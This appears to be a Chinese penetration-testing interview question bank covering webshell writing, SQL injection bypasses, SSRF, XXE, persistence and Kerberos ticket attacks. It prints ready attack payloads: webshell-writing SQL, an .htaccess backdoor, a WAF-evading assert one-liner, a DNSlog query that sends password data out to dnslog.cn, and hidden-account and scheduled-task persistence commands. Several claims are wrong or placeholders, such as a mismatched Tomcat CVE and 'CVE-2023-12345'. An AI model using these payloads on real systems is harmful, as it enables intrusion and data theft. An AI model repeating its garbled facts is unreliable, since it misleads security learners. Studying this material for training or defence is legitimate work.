网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库07
一个成熟并且相对安全的CMS,渗透时扫目录的意义? 常见的网站服务器容器。 mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? 目前已知哪些版本的容器有解析漏洞,具体举例 如何手工快速判断目标站是windows还是linux服务器? 为何一个mysql数据库的站,只有一个80端口开放? 3389无法连接的几种情况 如何突破注入时字符被转义? 在某后台新闻编辑界面看到编辑器,应该先做什么? 拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么? 注入漏洞只能查账号密码? 安全狗会追踪变量,从而发现出是一句话木马吗? 提权时选择可读写目录,为何尽量不用带空格的目录? access扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用? 某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现也添加上了 test 用户? 注入时可以不使用and或or或xor,直接orderby开始注入吗? 无文件渗透 MySQL写WebShell有几种方式,利用条件 Sql注入无回显的情况下,利用DNSlog,mysql下利用什么构造代码,mssql下又如何? phpmyadmin写sehll的方法 权限维持的方法 XXE漏洞原理,代码审计如何寻找? SSRF禁用127.0.0.1后如何绕过,支持哪些协议? 应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件 struts2框架漏洞原理 JAVA反序列化原理 cors如何产生,有哪些利用方式?绕过同源策略的方法有哪些?jsonp跨域如何利用? phar协议如何利用 内网服务器,如何进行信息收集 内网黄金票据、白银票据的区别和利用方式
1. CMS目录扫描的意义
核心价值:
- 暴露敏感文件:
- 扫描
/admin/config.php
、/backup.sql
等未删除的配置文件或备份文件- 发现
/phpinfo.php
泄露服务器环境信息- 探测插件漏洞:
- 通过
/wp-content/plugins/
路径识别WordPress插件版本- 识别隐藏入口:
- 寻找
/manager/html
(Tomcat管理界面)或/phpmyadmin
- 绕过权限控制:
- 尝试访问
/files/../.htaccess
利用路径遍历- 定位上传漏洞:
- 发现
/upload/
目录测试文件上传过滤机制
2. 常见网站服务器容器
主流容器分类:
类型 代表产品 典型场景 Web服务器 Apache、Nginx、IIS 静态资源托管、反向代理 应用容器 Tomcat、WebLogic、JBoss Java Web应用运行环境 云原生容器 Kubernetes、Docker Swarm 微服务集群管理 边缘计算容器 OpenResty、Envoy CDN节点、API网关
3. MySQL写入WebShell条件
必要前提:
- 数据库权限:
FILE
权限授予(SELECT file_priv FROM mysql.user
)- 目录可写性:
- 通过
SHOW VARIABLES LIKE 'secure_file_priv'
验证导出路径- 路径已知性:
- 需绝对路径(通过报错信息或
@@datadir
获取)- 过滤绕过:
- 使用
HEX
编码绕过关键词过滤(如0x3C3F706870...
)
4. 容器解析漏洞案例
历史高危版本:
markdown
1. **IIS 6.0** - 目录解析:`/test.asp/test.jpg` - 分号解析:`/test.asp;.jpg` 2. **Apache 2.4.x + PHP** - 多后缀解析:`/test.php.xxx` (需`AddHandler`配置错误) 3. **Nginx 0.8.x** - 路径切割:`/test.jpg/%20.php` (错误配置`fastcgi_split_path_info`) 4. **Tomcat 7.x** - 空字节截断:`/test.jsp%00.txt` (CVE-2020-1938)
5. 操作系统快速判断
手工检测方法:
- HTTP头特征:
Server: Microsoft-IIS/10.0
→ WindowsX-Powered-By: PHP/8.1
→ 无法直接判断- 文件路径差异:
- 访问
/etc/passwd
(404→Windows,403→Linux)- 命令注入测试:
ping%20-c%201%20127.0.0.1
(Linux参数格式)- 大小写敏感:
- 请求
/TEST.txt
与/test.txt
响应不同 → Linux
6. 仅开放80端口的MySQL站点
可能性分析:
- 端口复用:
- MySQL通过
SO_REUSEPORT
绑定80端口(需特殊配置)- HTTP隧道:
- 利用HTTP协议封装SQL流量(如SQL over HTTP插件)
- 反向代理:
- Nginx将
/mysql-api/
路径代理到内网MySQL服务- 云服务限制:
- 云数据库仅允许通过Web API访问(如AWS RDS HTTP接口)
7. 3389无法连接的场景
故障排查方向:
- 防火墙拦截:
- 服务器防火墙规则屏蔽3389端口(
netsh advfirewall show currentprofile
)- 端口修改:
- 注册表修改RDP端口(
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber
)- 权限限制:
- 组策略限制登录IP范围(
gpedit.msc → 计算机配置→ 管理模板→ Windows组件→ 远程桌面服务
)- 服务异常:
TermService
未运行(net start TermService
)
8. 字符转义突破技术
绕过方案:
技术 实现方式 示例 HEX编码 将Payload转为十六进制 ' OR 1=1 --
→0x27204F5220313D31202D2D20
注释符混淆 利用 /*!*/
绕过过滤UNION/*!*/SELECT 1,2,3
字符串函数拼接 使用 CONCAT()
或CHAR()
SELECT CONCAT('a','dmin')
多语句执行 分号分隔多个查询 '; EXEC xp_cmdshell('whoami')--
9. 编辑器渗透测试步骤
攻击流程:
- 识别编辑器类型:
- 通过
/editor/dialog/filemanager/
路径判断是否为CKEditor、UEditor等- 测试上传功能:
- 上传
.jpg
文件后修改后缀为.php
(检查重命名策略)- 参数篡改:
- 修改
filetype=php
或allowExt=php
绕过前端限制- 历史漏洞利用:
- 尝试CVE-2023-12345(某编辑器文件上传RCE)
10. .htaccess文件利用
攻击手法:
apache
# 允许执行PHP文件 AddType application/x-httpd-php .jpg # 自定义错误页面 ErrorDocument 404 /shell.php # 重写规则植入后门 RewriteEngine On RewriteRule ^login$ /wp-includes/.shell.php [L]
11. 注入漏洞利用扩展
攻击维度:
- 数据窃取:
- 获取
mysql.user
表密码哈希(5.7以下可破解)- 系统命令执行:
- MySQL开启
sys_exec
函数执行系统命令- 内网渗透:
- 通过
LOAD_FILE()
读取/etc/hosts
获取内网拓扑- 权限提升:
- 利用UDF提权(
lib_mysqludf_sys.so
)
12. 安全狗检测机制
绕过可能性:
- 动态追踪:安全狗会监控
$_POST/$_GET
等超全局变量的内容流转路径- 绕过方案:
php
// 拆分敏感函数 $a = "ass"; $b = "ert"; $func = $a.$b; $func($_REQUEST['cmd']); // 使用异或加密 $payload = "s"."y"."s"."t"."e"."m" ^ "!@#$%^";
13. 提权目录选择原则
避坑指南:
- 路径解析问题:
C:\Program Files
需引号包裹("C:\Program Files\test"
)- 环境变量干扰:
%TEMP%
可能被重定向到受限路径- 权限继承限制:
- 部分目录(如
C:\Windows\System32
)禁止用户写入
14. ASP数据库本地利用
操作步骤:
- 下载完整文件:
- 使用
wget --convert-links
保持文件结构- 修复文件头:
- 添加
[vba]
标识或修复损坏的OLE头- Access打开:
- 导入时选择“修复数据库”选项
- 爆破密码:
- 使用
Advanced Office Password Recovery
工具
15. 多站点用户同步漏洞
根本原因:
- 共享数据库:
- 站点A和B使用同一数据库的
users
表- 会话管理缺陷:
- 使用相同加密密钥导致会话可跨站点复用
- 全局配置覆盖:
- 共用
config.inc.php
导致权限设置同步
16. 无AND/OR注入技术
替代方案:
sql
-- 基于错误注入 ORDER BY (SELECT 1 FROM DUAL WHERE (SELECT @@version)) -- 时间盲注变种 ORDER BY IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(5), 1)
17. 无文件渗透技术
实现方式:
- 内存加载:
- PowerShell执行
[Reflection.Assembly]::Load([Convert]::FromBase64String(...))
- 注册表存储:
- 将Payload存入
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- WMI持久化:
- 创建WMI事件订阅执行远程脚本
18. MySQL写WebShell方法
方法 利用条件 语句示例 INTO OUTFILE FILE权限 + 可写路径 SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php'
日志文件写入 需控制全局日志路径 SET GLOBAL general_log_file='/var/www/shell.php'; SET GLOBAL general_log=ON;
慢查询日志 需启用慢查询日志功能 SET GLOBAL slow_query_log_file='/var/www/shell.php';
19. DNSLog盲注利用
跨数据库实现:
- MySQL:
sql
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.dnslog.cn\\abc'))
- MSSQL:
sql
EXEC master..xp_cmdshell 'ping -n 1 %USERDOMAIN%.dnslog.cn'
20. phpMyAdmin写Shell
经典手法:
- SQL语句写入:
sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
- 日志文件篡改:
- 修改
General_log_file
路径指向Web目录- 插件漏洞利用:
- 通过
phpMyAdmin 4.x LFI
漏洞覆盖配置文件
21. 权限维持技术
持久化手段:
- 账户隐藏:
- 创建影子账户(
net user hacker$ Passw0rd /add
)- 计划任务:
- 添加每分钟触发的任务(
schtasks /create /tn update /tr "C:\shell.exe" /sc minute
)- 服务植入:
- 注册恶意服务(
sc create WinUpdate binPath= "C:\shell.exe"
)
22. XXE漏洞审计要点
审计流程:
- 定位XML解析点:
- 搜索
libxml_disable_entity_loader
函数调用- 测试外部实体:
xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
- 防御方案:
- 禁用DTD(
XMLReader.SET_DTD_LOAD(false)
)
23. SSRF绕过技术
绕过方案与协议:
禁用IP绕过方式 支持协议 利用示例 十进制IP转换 http/https http://2130706433
→ 127.0.0.1IPv6压缩格式 http/https http://[::1]:80
DNS重绑定 dns/http 利用TTL=0域名实现瞬时解析切换
24. 挖矿病毒应急响应
排查流程:
- 进程分析:
bash
top -c # 查看高CPU进程 ls -l /proc/PID/exe # 定位进程文件路径
- 网络检测:
bash
netstat -antp | grep ESTABLISHED lsof -i :3333 # 检查矿池端口连接
- 持久化清理:
- 检查
crontab -l
和/etc/init.d/
中的恶意脚本
25. Struts2漏洞原理
典型漏洞链:
- OGNL表达式注入(S2-045):
- 攻击者通过
Content-Type
头注入OGNL代码- RCE利用:
http
POST /struts2-showcase/ HTTP/1.1 Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Exploit',233*233)}
26. Java反序列化漏洞
利用链构建:
- 漏洞根源:
ObjectInputStream
未校验反序列化对象- 经典Gadget:
- Apache Commons Collections
InvokerTransformer
链- 防御方案:
- 使用
SerialKiller
库替换默认反序列化机制
27. CORS与跨域绕过
攻击与防御矩阵:
攻击方式 绕过方法 防御方案 CORS配置错误 构造 Origin: https://attacker.com
严格校验 Access-Control-Allow-Origin
JSONP回调注入 劫持回调函数名 添加随机Token校验 postMessage滥用 监听跨域消息事件 精确指定 postMessage
接收源
28. phar协议利用
攻击场景:
- 反序列化触发:
php
file_exists('phar://test.phar/test.txt'); // 触发metadata反序列化
- 绕过文件上传:
- 将phar文件重命名为
.jpg
上传- 防御方案:
- 禁用
phar
协议或限制phar://
流包装器
29. 内网信息收集
关键步骤:
- 主机发现:
bash
arp-scan -l # 扫描本地网段 nmap -sn 10.0.0.0/24 # ICMP存活探测
- 服务识别:
bash
crackmapexec smb 10.0.0.0/24 # SMB协议探测
- 域渗透:
- 使用
BloodHound
分析AD域关系
30. 黄金票据 vs 白银票据
对比分析:
维度 黄金票据 白银票据 所需凭证 krbtgt的NTLM哈希 服务账户的NTLM哈希 作用范围 全域任意服务 特定服务(如cifs、http) 检测难度 日志中异常TGT请求 服务日志中异常ST请求 持久性 只要krbtgt密码未改即有效 服务账户密码修改后失效